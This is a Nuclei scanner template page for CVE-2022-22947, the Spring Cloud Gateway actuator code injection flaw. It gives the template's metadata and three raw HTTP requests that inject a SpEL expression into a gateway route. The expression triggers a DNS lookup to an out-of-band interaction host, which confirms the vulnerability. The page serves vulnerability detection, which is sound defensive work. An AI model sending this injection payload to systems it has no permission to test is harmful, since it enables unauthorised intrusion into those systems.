Skip to content
Nuclei Templates

Spring Cloud Gateway Code Injection

ID: CVE-2022-22947

Severity: critical

Author: pdteam

Tags: cve,cve2022,apache,spring,vmware,actuator,oast,kev

Description

Section titled “Description”

Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

YAML Source

Section titled “YAML Source”
id: CVE-2022-22947


info:
  name: Spring Cloud Gateway Code Injection
  author: pdteam
  severity: critical
  description: Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Apply the latest security patches provided by the vendor and ensure proper input validation to prevent code injection attacks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-22947
    - https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
    - https://github.com/wdahlenburg/spring-gateway-demo
    - https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
    - https://tanzu.vmware.com/security/cve-2022-22947
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2022-22947
    cwe-id: CWE-917,CWE-94
    epss-score: 0.97488
    epss-percentile: 0.99973
    cpe: cpe:2.3:a:vmware:spring_cloud_gateway:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: vmware
    product: spring_cloud_gateway
  tags: cve,cve2022,apache,spring,vmware,actuator,oast,kev


http:
  - raw:
      - |
        POST /actuator/gateway/routes/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {
          "predicates": [
            {
              "name": "Path",
              "args": {
                "_genkey_0": "/{{randstr}}/**"
              }
            }
          ],
          "filters": [
            {
              "name": "RewritePath",
              "args": {
                "_genkey_0": "#{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")}",
                "_genkey_1": "/${path}"
              }
            }
          ],
          "uri": "{{RootURL}}",
          "order": 0
        }
      - |
        POST /actuator/gateway/refresh HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {
          "predicate": "Paths: [/{{randstr}}], match trailing slash: true",
          "route_id": "{{randstr}}",
          "filters": [
            "[[RewritePath #{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")} = /${path}], order = 1]"
          ],
          "uri": "{{RootURL}}",
          "order": 0
        }
      - |
        DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "/routes/{{randstr}}"


      - type: word
        part: interactsh_protocol
        words:
          - "dns"


      - type: status
        status:
          - 201
# digest: 4a0a00473045022100820e5cb99a11b959491515627a85f8a0f46dfe6f64de6552d6feda3e969632b00220043c36e11da428ee6947900ea7c4bc5f6d325712e3de8e29fbe73f943f4dc779:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-22947.yaml"

View on Github